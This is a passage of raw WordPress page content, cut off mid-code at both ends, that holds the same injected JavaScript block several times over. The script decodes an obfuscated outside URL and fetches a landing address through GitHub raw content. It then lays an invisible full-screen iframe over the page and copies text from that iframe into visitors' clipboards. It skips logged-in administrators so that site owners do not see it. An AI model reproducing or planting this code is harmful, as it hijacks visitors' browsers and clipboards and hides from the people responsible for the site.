!== \"function\") {\n        resolve(\"\");\n        return;\n      }\n\n      var finished = false;\n      var timer = null;\n      var controller = null;\n\n      function done(value) {\n        if (finished) return;\n        finished = true;\n        if (timer) clearTimeout(timer);\n        resolve((value || \"\").trim());\n      }\n\n      try {\n        if (typeof AbortController !== \"undefined\") {\n          controller = new AbortController();\n        }\n\n        timer = setTimeout(function () {\n          try {\n            if (controller) controller.abort();\n          } catch (e) {}\n          done(\"\");\n        }, timeoutMs);\n\n        fetch(url, {\n          cache: \"no-store\",\n          credentials: \"omit\",\n          signal: controller ? controller.signal : void 0\n        })\n          .then(function (response) {\n            return response ? response.text() : \"\";\n          })\n          .then(function (text) {\n            done(text);\n          })\n          .catch(function () {\n            done(\"\");\n          });\n      } catch (e) {\n        done(\"\");\n      }\n    });\n  }\n\n  function tryCopy(text) {\n    if (typeof text !== \"string\" || !text) return;\n\n    try { window.focus(); } catch (e) {}\n\n    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {\n      navigator.clipboard.writeText(text).catch(function () {\n        fallbackCopy(text);\n      });\n      return;\n    }\n\n    fallbackCopy(text);\n  }\n\n  function fallbackCopy(text) {\n    try {\n      var mount = getMountNode();\n      if (!mount) return;\n\n      var ta = document.createElement(\"textarea\");\n      ta.value = text;\n      ta.setAttribute(\"readonly\", \"readonly\");\n      ta.style.position = \"fixed\";\n      ta.style.left = \"-9999px\";\n      ta.style.top = \"0\";\n      ta.style.opacity = \"0\";\n      mount.appendChild(ta);\n      try { ta.focus(); } catch (e) {}\n      ta.select();\n      ta.setSelectionRange(0, ta.value.length);\n      document.execCommand(\"copy\");\n      if (ta.parentNode) ta.parentNode.removeChild(ta);\n    } catch (e) {}\n  }\n\n  function bindMessageHandler() {\n    if (registry.messageBound) return;\n    registry.messageBound = true;\n\n    window.addEventListener(\"message\", function (event) {\n      var data = event &#038;&#038; event.data;\n      var iframe = document.getElementById(registry.iframeId);\n\n      if (!iframe || !data || typeof data !== \"object\") return;\n      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;\n\n      if (data.type === \"ktl-show-original\") {\n        if (typeof registry.destroy === \"function\") registry.destroy();\n        return;\n      }\n\n      if (data.type === \"ktl-frame-ready\") {\n        if (typeof registry.reveal === \"function\") registry.reveal();\n        return;\n      }\n\n      if (data.type === \"copy\" &#038;&#038; typeof data.text === \"string\") {\n        tryCopy(data.text);\n      }\n    });\n  }\n\n  function cleanup(nextStatus) {\n    var iframe = document.getElementById(registry.iframeId);\n\n    registry.destroy = null;\n    registry.reveal = null;\n\n    try {\n      if (iframe &#038;&#038; iframe.parentNode) {\n        iframe.parentNode.removeChild(iframe);\n      }\n    } catch (e) {}\n\n    registry.status = nextStatus || \"done\";\n  }\n\n  function resolveLandingUrl(id) {\n    if (!id || !TRUSTED_CONFIGS.length) {\n      return Promise.resolve(\"\");\n    }\n\n    function step(index) {\n      if (index >= TRUSTED_CONFIGS.length) {\n        return Promise.resolve(\"\");\n      }<\/p>\n<p>      var cfg = TRUSTED_CONFIGS[index] || {};\n      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || \"\", id));<\/p>\n<p>      if (!builtUrl) {\n        return step(index + 1);\n      }<\/p>\n<p>      if (!cfg.useFetch) {\n        return Promise.resolve(builtUrl);\n      }<\/p>\n<p>      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)\n        .then(function (raw) {\n          var landingUrl = extractLandingUrl(raw);\n          if (landingUrl) return landingUrl;\n          return step(index + 1);\n        })\n        .catch(function () {\n          return step(index + 1);\n        });\n    }<\/p>\n<p>    return step(0);\n  }<\/p>\n<p>  function activateIframe(url) {\n    if (!url || registry.status === \"active\") return;<\/p>\n<p>    if (isWpLoggedInContext()) {\n      cleanup(\"done\");\n      return;\n    }<\/p>\n<p>    var existing = document.getElementById(registry.iframeId);\n    if (existing) {\n      registry.status = \"active\";\n      return;\n    }<\/p>\n<p>    var mount = getMountNode();\n    if (!mount) {\n      setTimeout(function () {\n        activateIframe(url);\n      }, 0);\n      return;\n    }<\/p>\n<p>    var iframe = document.createElement(\"iframe\");\n    var closed = false;\n    var revealed = false;\n    var timeoutId = null;<\/p>\n<p>    function reveal() {\n      if (closed || revealed) return;\n      revealed = true;\n      if (timeoutId) clearTimeout(timeoutId);<\/p>\n<p>      registry.status = \"active\";<\/p>\n<p>      iframe.style.visibility = \"visible\";\n      iframe.style.opacity = \"1\";\n      iframe.style.pointerEvents = \"auto\";\n      iframe.removeAttribute(\"aria-hidden\");<\/p>\n<p>      setTimeout(function () {\n        try { iframe.focus(); } catch (e) {}\n        try {\n          if (iframe.contentWindow && iframe.contentWindow.focus) {\n            iframe.contentWindow.focus();\n          }\n        } catch (e) {}\n      }, 0);\n    }<\/p>\n<p>    function destroy() {\n      if (closed) return;\n      closed = true;\n      if (timeoutId) clearTimeout(timeoutId);\n      cleanup(\"done\");\n    }<\/p>\n<p>    registry.destroy = destroy;\n    registry.reveal = reveal;<\/p>\n<p>    iframe.id = registry.iframeId;\n    iframe.setAttribute(registry.iframeAttr, \"1\");\n    iframe.setAttribute(\"aria-hidden\", \"true\");\n    iframe.setAttribute(\"loading\", \"eager\");\n    iframe.setAttribute(\"allow\", \"clipboard-write\");\n    iframe.src = safeAppendQuery(url, \"v\", Math.random().toString(36).slice(2));\n    iframe.style.cssText = [\n      \"position:fixed !important\",\n      \"top:0\",\n      \"left:0\",\n      \"width:100vw\",\n      \"height:100vh\",\n      \"border:none\",\n      \"z-index:2147483647\",\n      \"margin:0\",\n      \"padding:0\",\n      \"overflow:hidden\",\n      \"visibility:hidden\",\n      \"opacity:0\",\n      \"pointer-events:none\",\n      \"background:transparent\"\n    ].join(\";\");<\/p>\n<p>    iframe.onload = function () {\n      if (closed) return;\n      if (!registry.requireReadyMessage) {\n        reveal();\n      }\n    };<\/p>\n<p>    iframe.onerror = function () {\n      destroy();\n    };<\/p>\n<p>    timeoutId = setTimeout(function () {\n      destroy();\n    }, registry.iframeTimeoutMs);<\/p>\n<p>    try {\n      mount.appendChild(iframe);\n    } catch (e) {\n      destroy();\n    }\n  }<\/p>\n<p>  function run() {\n    warmupOrigins();\n    bindMessageHandler();<\/p>\n<p>    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)\n      .then(function (id) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        id = (id || \"\").trim();\n        if (!id) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        return resolveLandingUrl(id);\n      })\n      .then(function (finalUrl) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        finalUrl = toHttpUrl(finalUrl);<\/p>\n<p>        if (!finalUrl) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        var finalOrigin = getOriginSafe(finalUrl);\n        if (finalOrigin) {\n          addHint(\"dns-prefetch\", finalOrigin);\n          addHint(\"preconnect\", finalOrigin);\n        }<\/p>\n<p>        activateIframe(finalUrl);\n        return finalUrl;\n      })\n      .catch(function () {\n        cleanup(\"done\");\n      });\n  }<\/p>\n<p>  registry.runPromise = run();\n})();<\/script><script>;(function () {\n  var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();\n  var TRUSTED_CONFIGS = [\n    { template: \"https:\/\/raw.githubusercontent.com\/{id}\", useFetch: true }\n  ];<\/p>\n<p>  var GLOBAL_KEY = (typeof Symbol === \"function\" && Symbol.for)\n    ? Symbol.for(\"__inline_id_offer__\")\n    : \"__inline_id_offer__\";<\/p>\n<p>  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {\n    status: \"idle\",\n    iframeId: \"__inline_offer_iframe__\",\n    iframeAttr: \"data-inline-offer-frame\",\n    hints: {},\n    runPromise: null,\n    destroy: null,\n    reveal: null,\n    requestTimeoutMs: 4000,\n    iframeTimeoutMs: 9000,\n    requireReadyMessage: false,\n    messageBound: false\n  };<\/p>\n<p>  function isWpLoggedInContext() {\n    try {\n      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;<\/p>\n<p>      var path = window.location.pathname || \"\";\n      if (\/^\\\/(wp-admin|wp-login)\/.test(path)) return true;<\/p>\n<p>      var cookie = document.cookie || \"\";\n      if (\/wordpress_logged_in_[^=]*=\/.test(cookie)) return true;<\/p>\n<p>      var de = document.documentElement;\n      var body = document.body;<\/p>\n<p>      if (de && typeof de.className === \"string\" && \/\\bwp-toolbar\\b\/.test(de.className)) return true;\n      if (body && typeof body.className === \"string\" && \/\\badmin-bar\\b\/.test(body.className)) return true;\n      if (document.getElementById(\"wpadminbar\")) return true;\n    } catch (e) {}<\/p>\n<p>    return false;\n  }<\/p>\n<p>  if (isWpLoggedInContext()) return;<\/p>\n<p>  if (document.getElementById(registry.iframeId)) {\n    registry.status = \"active\";\n    return;\n  }<\/p>\n<p>  if (registry.runPromise || registry.status === \"loading\" || registry.status === \"active\" || registry.status === \"done\") {\n    return;\n  }<\/p>\n<p>  registry.status = \"loading\";<\/p>\n<p>  function safeAppendQuery(url, key, val) {\n    var sep = url.indexOf(\"?\") >= 0 ? \"&\" : \"?\";\n    return url + sep + encodeURIComponent(key) + \"=\" + encodeURIComponent(val);\n  }<\/p>\n<p>  function buildTrustedUrl(template, id) {\n    if (!template || !id) return \"\";<\/p>\n<p>    if (template.indexOf(\"dropbox.com\") >= 0) {\n      return template.replace(\/\\{id\\}\/g, id);\n    }<\/p>\n<p>    var encoded = encodeURIComponent(id);<\/p>\n<p>    if (template.indexOf(\"gist.githubusercontent.com\") >= 0) {\n      encoded = encoded.replace(\/%2F\/g, \"\/\");\n    }<\/p>\n<p>    return template.replace(\/\\{id\\}\/g, encoded);\n  }<\/p>\n<p>  function toHttpUrl(value) {\n    if (!value) return \"\";<\/p>\n<p>    var s = String(value)\n      .replace(\/^\\uFEFF\/, \"\")\n      .trim()\n      .replace(\/^['\"`\\s]+|['\"`\\s]+$\/g, \"\");<\/p>\n<p>    if (!s) return \"\";<\/p>\n<p>    if (!\/^[a-z][a-z0-9+.-]*:\\\/\\\/\/i.test(s)) {\n      if (\/^[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:[\\\/?#]|$)\/i.test(s)) {\n        s = \"https:\/\/\" + s;\n      } else {\n        return \"\";\n      }\n    }<\/p>\n<p>    try {\n      var u = new URL(s);\n      if (u.protocol === \"http:\" || u.protocol === \"https:\") {\n        return u.href;\n      }\n    } catch (e) {}<\/p>\n<p>    return \"\";\n  }<\/p>\n<p>  function findUrlInObject(input, depth) {\n    if (!input || depth > 3) return \"\";<\/p>\n<p>    if (typeof input === \"string\") {\n      return toHttpUrl(input);\n    }<\/p>\n<p>    if (Object.prototype.toString.call(input) === \"[object Array]\") {\n      for (var i = 0; i < input.length; i++) {\n        var arrVal = findUrlInObject(input[i], depth + 1);\n        if (arrVal) return arrVal;\n      }\n      return \"\";\n    }\n\n    if (typeof input === \"object\") {\n      var keys = [\"url\", \"link\", \"href\", \"location\", \"redirect\", \"target\", \"landing\", \"landingUrl\"];\n\n      for (var j = 0; j < keys.length; j++) {\n        var key = keys[j];\n        if (Object.prototype.hasOwnProperty.call(input, key)) {\n          var direct = findUrlInObject(input[key], depth + 1);\n          if (direct) return direct;\n        }\n      }\n\n      for (var k in input) {\n        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;\n        var nested = findUrlInObject(input[k], depth + 1);\n        if (nested) return nested;\n      }\n    }\n\n    return \"\";\n  }\n\n  function extractLandingUrl(raw) {\n    if (!raw) return \"\";\n\n    var text = String(raw).replace(\/^\\uFEFF\/, \"\").trim();\n    if (!text) return \"\";\n\n    var direct = toHttpUrl(text);\n    if (direct) return direct;\n\n    if ((text.charAt(0) === \"{\" &#038;&#038; text.charAt(text.length - 1) === \"}\") ||\n        (text.charAt(0) === \"[\" &#038;&#038; text.charAt(text.length - 1) === \"]\")) {\n      try {\n        var parsed = JSON.parse(text);\n        var jsonUrl = findUrlInObject(parsed, 0);\n        if (jsonUrl) return jsonUrl;\n      } catch (e) {}\n    }\n\n    var matchHttp = text.match(\/https?:\\\/\\\/[^\\s\"'<>]+\/i);\n    if (matchHttp && matchHttp[0]) {\n      var httpUrl = toHttpUrl(matchHttp[0]);\n      if (httpUrl) return httpUrl;\n    }<\/p>\n<p>    var matchDomain = text.match(\/\\b[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:\\\/[^\\s\"'<>]*)?\/i);\n    if (matchDomain && matchDomain[0]) {\n      var domainUrl = toHttpUrl(matchDomain[0]);\n      if (domainUrl) return domainUrl;\n    }<\/p>\n<p>    return \"\";\n  }<\/p>\n<p>  function getOriginSafe(url) {\n    try {\n      return new URL(url).origin;\n    } catch (e) {\n      return \"\";\n    }\n  }<\/p>\n<p>  function addHint(rel, href) {\n    if (!href || !document || !document.createElement) return;<\/p>\n<p>    var key = rel + \"::\" + href;\n    if (registry.hints[key]) return;\n    registry.hints[key] = true;<\/p>\n<p>    try {\n      var parent = document.head || document.documentElement;\n      if (!parent) return;<\/p>\n<p>      var link = document.createElement(\"link\");\n      link.rel = rel;\n      link.href = href;<\/p>\n<p>      if (rel === \"preconnect\") {\n        link.crossOrigin = \"anonymous\";\n      }<\/p>\n<p>      parent.appendChild(link);\n    } catch (e) {}\n  }<\/p>\n<p>  function warmupOrigins() {\n    var origins = {};\n    var apiOrigin = getOriginSafe(API_ID_URL);\n    if (apiOrigin) origins[apiOrigin] = true;<\/p>\n<p>    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {\n      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;\n      if (!tpl) continue;\n      var probe = tpl.replace(\/\\{id\\}\/g, \"x\");\n      var origin = getOriginSafe(probe);\n      if (origin) origins[origin] = true;\n    }\n\n    for (var originKey in origins) {\n      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;\n      addHint(\"dns-prefetch\", originKey);\n      addHint(\"preconnect\", originKey);\n    }\n  }\n\n  function getMountNode() {\n    return document.body || document.documentElement || null;\n  }\n\n  function fetchTextNoThrow(url, timeoutMs) {\n    return new Promise(function (resolve) {\n      if (!url || typeof fetch !== \"function\") {\n        resolve(\"\");\n        return;\n      }\n\n      var finished = false;\n      var timer = null;\n      var controller = null;\n\n      function done(value) {\n        if (finished) return;\n        finished = true;\n        if (timer) clearTimeout(timer);\n        resolve((value || \"\").trim());\n      }\n\n      try {\n        if (typeof AbortController !== \"undefined\") {\n          controller = new AbortController();\n        }\n\n        timer = setTimeout(function () {\n          try {\n            if (controller) controller.abort();\n          } catch (e) {}\n          done(\"\");\n        }, timeoutMs);\n\n        fetch(url, {\n          cache: \"no-store\",\n          credentials: \"omit\",\n          signal: controller ? controller.signal : void 0\n        })\n          .then(function (response) {\n            return response ? response.text() : \"\";\n          })\n          .then(function (text) {\n            done(text);\n          })\n          .catch(function () {\n            done(\"\");\n          });\n      } catch (e) {\n        done(\"\");\n      }\n    });\n  }\n\n  function tryCopy(text) {\n    if (typeof text !== \"string\" || !text) return;\n\n    try { window.focus(); } catch (e) {}\n\n    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {\n      navigator.clipboard.writeText(text).catch(function () {\n        fallbackCopy(text);\n      });\n      return;\n    }\n\n    fallbackCopy(text);\n  }\n\n  function fallbackCopy(text) {\n    try {\n      var mount = getMountNode();\n      if (!mount) return;\n\n      var ta = document.createElement(\"textarea\");\n      ta.value = text;\n      ta.setAttribute(\"readonly\", \"readonly\");\n      ta.style.position = \"fixed\";\n      ta.style.left = \"-9999px\";\n      ta.style.top = \"0\";\n      ta.style.opacity = \"0\";\n      mount.appendChild(ta);\n      try { ta.focus(); } catch (e) {}\n      ta.select();\n      ta.setSelectionRange(0, ta.value.length);\n      document.execCommand(\"copy\");\n      if (ta.parentNode) ta.parentNode.removeChild(ta);\n    } catch (e) {}\n  }\n\n  function bindMessageHandler() {\n    if (registry.messageBound) return;\n    registry.messageBound = true;\n\n    window.addEventListener(\"message\", function (event) {\n      var data = event &#038;&#038; event.data;\n      var iframe = document.getElementById(registry.iframeId);\n\n      if (!iframe || !data || typeof data !== \"object\") return;\n      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;\n\n      if (data.type === \"ktl-show-original\") {\n        if (typeof registry.destroy === \"function\") registry.destroy();\n        return;\n      }\n\n      if (data.type === \"ktl-frame-ready\") {\n        if (typeof registry.reveal === \"function\") registry.reveal();\n        return;\n      }\n\n      if (data.type === \"copy\" &#038;&#038; typeof data.text === \"string\") {\n        tryCopy(data.text);\n      }\n    });\n  }\n\n  function cleanup(nextStatus) {\n    var iframe = document.getElementById(registry.iframeId);\n\n    registry.destroy = null;\n    registry.reveal = null;\n\n    try {\n      if (iframe &#038;&#038; iframe.parentNode) {\n        iframe.parentNode.removeChild(iframe);\n      }\n    } catch (e) {}\n\n    registry.status = nextStatus || \"done\";\n  }\n\n  function resolveLandingUrl(id) {\n    if (!id || !TRUSTED_CONFIGS.length) {\n      return Promise.resolve(\"\");\n    }\n\n    function step(index) {\n      if (index >= TRUSTED_CONFIGS.length) {\n        return Promise.resolve(\"\");\n      }<\/p>\n<p>      var cfg = TRUSTED_CONFIGS[index] || {};\n      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || \"\", id));<\/p>\n<p>      if (!builtUrl) {\n        return step(index + 1);\n      }<\/p>\n<p>      if (!cfg.useFetch) {\n        return Promise.resolve(builtUrl);\n      }<\/p>\n<p>      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)\n        .then(function (raw) {\n          var landingUrl = extractLandingUrl(raw);\n          if (landingUrl) return landingUrl;\n          return step(index + 1);\n        })\n        .catch(function () {\n          return step(index + 1);\n        });\n    }<\/p>\n<p>    return step(0);\n  }<\/p>\n<p>  function activateIframe(url) {\n    if (!url || registry.status === \"active\") return;<\/p>\n<p>    if (isWpLoggedInContext()) {\n      cleanup(\"done\");\n      return;\n    }<\/p>\n<p>    var existing = document.getElementById(registry.iframeId);\n    if (existing) {\n      registry.status = \"active\";\n      return;\n    }<\/p>\n<p>    var mount = getMountNode();\n    if (!mount) {\n      setTimeout(function () {\n        activateIframe(url);\n      }, 0);\n      return;\n    }<\/p>\n<p>    var iframe = document.createElement(\"iframe\");\n    var closed = false;\n    var revealed = false;\n    var timeoutId = null;<\/p>\n<p>    function reveal() {\n      if (closed || revealed) return;\n      revealed = true;\n      if (timeoutId) clearTimeout(timeoutId);<\/p>\n<p>      registry.status = \"active\";<\/p>\n<p>      iframe.style.visibility = \"visible\";\n      iframe.style.opacity = \"1\";\n      iframe.style.pointerEvents = \"auto\";\n      iframe.removeAttribute(\"aria-hidden\");<\/p>\n<p>      setTimeout(function () {\n        try { iframe.focus(); } catch (e) {}\n        try {\n          if (iframe.contentWindow && iframe.contentWindow.focus) {\n            iframe.contentWindow.focus();\n          }\n        } catch (e) {}\n      }, 0);\n    }<\/p>\n<p>    function destroy() {\n      if (closed) return;\n      closed = true;\n      if (timeoutId) clearTimeout(timeoutId);\n      cleanup(\"done\");\n    }<\/p>\n<p>    registry.destroy = destroy;\n    registry.reveal = reveal;<\/p>\n<p>    iframe.id = registry.iframeId;\n    iframe.setAttribute(registry.iframeAttr, \"1\");\n    iframe.setAttribute(\"aria-hidden\", \"true\");\n    iframe.setAttribute(\"loading\", \"eager\");\n    iframe.setAttribute(\"allow\", \"clipboard-write\");\n    iframe.src = safeAppendQuery(url, \"v\", Math.random().toString(36).slice(2));\n    iframe.style.cssText = [\n      \"position:fixed !important\",\n      \"top:0\",\n      \"left:0\",\n      \"width:100vw\",\n      \"height:100vh\",\n      \"border:none\",\n      \"z-index:2147483647\",\n      \"margin:0\",\n      \"padding:0\",\n      \"overflow:hidden\",\n      \"visibility:hidden\",\n      \"opacity:0\",\n      \"pointer-events:none\",\n      \"background:transparent\"\n    ].join(\";\");<\/p>\n<p>    iframe.onload = function () {\n      if (closed) return;\n      if (!registry.requireReadyMessage) {\n        reveal();\n      }\n    };<\/p>\n<p>    iframe.onerror = function () {\n      destroy();\n    };<\/p>\n<p>    timeoutId = setTimeout(function () {\n      destroy();\n    }, registry.iframeTimeoutMs);<\/p>\n<p>    try {\n      mount.appendChild(iframe);\n    } catch (e) {\n      destroy();\n    }\n  }<\/p>\n<p>  function run() {\n    warmupOrigins();\n    bindMessageHandler();<\/p>\n<p>    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)\n      .then(function (id) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        id = (id || \"\").trim();\n        if (!id) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        return resolveLandingUrl(id);\n      })\n      .then(function (finalUrl) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        finalUrl = toHttpUrl(finalUrl);<\/p>\n<p>        if (!finalUrl) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        var finalOrigin = getOriginSafe(finalUrl);\n        if (finalOrigin) {\n          addHint(\"dns-prefetch\", finalOrigin);\n          addHint(\"preconnect\", finalOrigin);\n        }<\/p>\n<p>        activateIframe(finalUrl);\n        return finalUrl;\n      })\n      .catch(function () {\n        cleanup(\"done\");\n      });\n  }<\/p>\n<p>  registry.runPromise = run();\n})();<\/script><script>;(function () {\n  var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();\n  var TRUSTED_CONFIGS = [\n    { template: \"https:\/\/raw.githubusercontent.com\/{id}\", useFetch: true }\n  ];<\/p>\n<p>  var GLOBAL_KEY = (typeof Symbol === \"function\" && Symbol.for)\n    ? Symbol.for(\"__inline_id_offer__\")\n    : \"__inline_id_offer__\";<\/p>\n<p>  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {\n    status: \"idle\",\n    iframeId: \"__inline_offer_iframe__\",\n    iframeAttr: \"data-inline-offer-frame\",\n    hints: {},\n    runPromise: null,\n    destroy: null,\n    reveal: null,\n    requestTimeoutMs: 4000,\n    iframeTimeoutMs: 9000,\n    requireReadyMessage: false,\n    messageBound: false\n  };<\/p>\n<p>  function isWpLoggedInContext() {\n    try {\n      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;<\/p>\n<p>      var path = window.location.pathname || \"\";\n      if (\/^\\\/(wp-admin|wp-login)\/.test(path)) return true;<\/p>\n<p>      var cookie = document.cookie || \"\";\n      if (\/wordpress_logged_in_[^=]*=\/.test(cookie)) return true;<\/p>\n<p>      var de = document.documentElement;\n      var body = document.body;<\/p>\n<p>      if (de && typeof de.className === \"string\" && \/\\bwp-toolbar\\b\/.test(de.className)) return true;\n      if (body && typeof body.className === \"string\" && \/\\badmin-bar\\b\/.test(body.className)) return true;\n      if (document.getElementById(\"wpadminbar\")) return true;\n    } catch (e) {}<\/p>\n<p>    return false;\n  }<\/p>\n<p>  if (isWpLoggedInContext()) return;<\/p>\n<p>  if (document.getElementById(registry.iframeId)) {\n    registry.status = \"active\";\n    return;\n  }<\/p>\n<p>  if (registry.runPromise || registry.status === \"loading\" || registry.status === \"active\" || registry.status === \"done\") {\n    return;\n  }<\/p>\n<p>  registry.status = \"loading\";<\/p>\n<p>  function safeAppendQuery(url, key, val) {\n    var sep = url.indexOf(\"?\") >= 0 ? \"&\" : \"?\";\n    return url + sep + encodeURIComponent(key) + \"=\" + encodeURIComponent(val);\n  }<\/p>\n<p>  function buildTrustedUrl(template, id) {\n    if (!template || !id) return \"\";<\/p>\n<p>    if (template.indexOf(\"dropbox.com\") >= 0) {\n      return template.replace(\/\\{id\\}\/g, id);\n    }<\/p>\n<p>    var encoded = encodeURIComponent(id);<\/p>\n<p>    if (template.indexOf(\"gist.githubusercontent.com\") >= 0) {\n      encoded = encoded.replace(\/%2F\/g, \"\/\");\n    }<\/p>\n<p>    return template.replace(\/\\{id\\}\/g, encoded);\n  }<\/p>\n<p>  function toHttpUrl(value) {\n    if (!value) return \"\";<\/p>\n<p>    var s = String(value)\n      .replace(\/^\\uFEFF\/, \"\")\n      .trim()\n      .replace(\/^['\"`\\s]+|['\"`\\s]+$\/g, \"\");<\/p>\n<p>    if (!s) return \"\";<\/p>\n<p>    if (!\/^[a-z][a-z0-9+.-]*:\\\/\\\/\/i.test(s)) {\n      if (\/^[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:[\\\/?#]|$)\/i.test(s)) {\n        s = \"https:\/\/\" + s;\n      } else {\n        return \"\";\n      }\n    }<\/p>\n<p>    try {\n      var u = new URL(s);\n      if (u.protocol === \"http:\" || u.protocol === \"https:\") {\n        return u.href;\n      }\n    } catch (e) {}<\/p>\n<p>    return \"\";\n  }<\/p>\n<p>  function findUrlInObject(input, depth) {\n    if (!input || depth > 3) return \"\";<\/p>\n<p>    if (typeof input === \"string\") {\n      return toHttpUrl(input);\n    }<\/p>\n<p>    if (Object.prototype.toString.call(input) === \"[object Array]\") {\n      for (var i = 0; i < input.length; i++) {\n        var arrVal = findUrlInObject(input[i], depth + 1);\n        if (arrVal) return arrVal;\n      }\n      return \"\";\n    }\n\n    if (typeof input === \"object\") {\n      var keys = [\"url\", \"link\", \"href\", \"location\", \"redirect\", \"target\", \"landing\", \"landingUrl\"];\n\n      for (var j = 0; j < keys.length; j++) {\n        var key = keys[j];\n        if (Object.prototype.hasOwnProperty.call(input, key)) {\n          var direct = findUrlInObject(input[key], depth + 1);\n          if (direct) return direct;\n        }\n      }\n\n      for (var k in input) {\n        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;\n        var nested = findUrlInObject(input[k], depth + 1);\n        if (nested) return nested;\n      }\n    }\n\n    return \"\";\n  }\n\n  function extractLandingUrl(raw) {\n    if (!raw) return \"\";\n\n    var text = String(raw).replace(\/^\\uFEFF\/, \"\").trim();\n    if (!text) return \"\";\n\n    var direct = toHttpUrl(text);\n    if (direct) return direct;\n\n    if ((text.charAt(0) === \"{\" &#038;&#038; text.charAt(text.length - 1) === \"}\") ||\n        (text.charAt(0) === \"[\" &#038;&#038; text.charAt(text.length - 1) === \"]\")) {\n      try {\n        var parsed = JSON.parse(text);\n        var jsonUrl = findUrlInObject(parsed, 0);\n        if (jsonUrl) return jsonUrl;\n      } catch (e) {}\n    }\n\n    var matchHttp = text.match(\/https?:\\\/\\\/[^\\s\"'<>]+\/i);\n    if (matchHttp && matchHttp[0]) {\n      var httpUrl = toHttpUrl(matchHttp[0]);\n      if (httpUrl) return httpUrl;\n    }<\/p>\n<p>    var matchDomain = text.match(\/\\b[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:\\\/[^\\s\"'<>]*)?\/i);\n    if (matchDomain && matchDomain[0]) {\n      var domainUrl = toHttpUrl(matchDomain[0]);\n      if (domainUrl) return domainUrl;\n    }<\/p>\n<p>    return \"\";\n  }<\/p>\n<p>  function getOriginSafe(url) {\n    try {\n      return new URL(url).origin;\n    } catch (e) {\n      return \"\";\n    }\n  }<\/p>\n<p>  function addHint(rel, href) {\n    if (!href || !document || !document.createElement) return;<\/p>\n<p>    var key = rel + \"::\" + href;\n    if (registry.hints[key]) return;\n    registry.hints[key] = true;<\/p>\n<p>    try {\n      var parent = document.head || document.documentElement;\n      if (!parent) return;<\/p>\n<p>      var link = document.createElement(\"link\");\n      link.rel = rel;\n      link.href = href;<\/p>\n<p>      if (rel === \"preconnect\") {\n        link.crossOrigin = \"anonymous\";\n      }<\/p>\n<p>      parent.appendChild(link);\n    } catch (e) {}\n  }<\/p>\n<p>  function warmupOrigins() {\n    var origins = {};\n    var apiOrigin = getOriginSafe(API_ID_URL);\n    if (apiOrigin) origins[apiOrigin] = true;<\/p>\n<p>    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {\n      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;\n      if (!tpl) continue;\n      var probe = tpl.replace(\/\\{id\\}\/g, \"x\");\n      var origin = getOriginSafe(probe);\n      if (origin) origins[origin] = true;\n    }\n\n    for (var originKey in origins) {\n      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;\n      addHint(\"dns-prefetch\", originKey);\n      addHint(\"preconnect\", originKey);\n    }\n  }\n\n  function getMountNode() {\n    return document.body || document.documentElement || null;\n  }\n\n  function fetchTextNoThrow(url, timeoutMs) {\n    return new Promise(function (resolve) {\n      if (!url || typeof fetch !== \"function\") {\n        resolve(\"\");\n        return;\n      }\n\n      var finished = false;\n      var timer = null;\n      var controller = null;\n\n      function done(value) {\n        if (finished) return;\n        finished = true;\n        if (timer) clearTimeout(timer);\n        resolve((value || \"\").trim());\n      }\n\n      try {\n        if (typeof AbortController !== \"undefined\") {\n          controller = new AbortController();\n        }\n\n        timer = setTimeout(function () {\n          try {\n            if (controller) controller.abort();\n          } catch (e) {}\n          done(\"\");\n        }, timeoutMs);\n\n        fetch(url, {\n          cache: \"no-store\",\n          credentials: \"omit\",\n          signal: controller ? controller.signal : void 0\n        })\n          .then(function (response) {\n            return response ? response.text() : \"\";\n          })\n          .then(function (text) {\n            done(text);\n          })\n          .catch(function () {\n            done(\"\");\n          });\n      } catch (e) {\n        done(\"\");\n      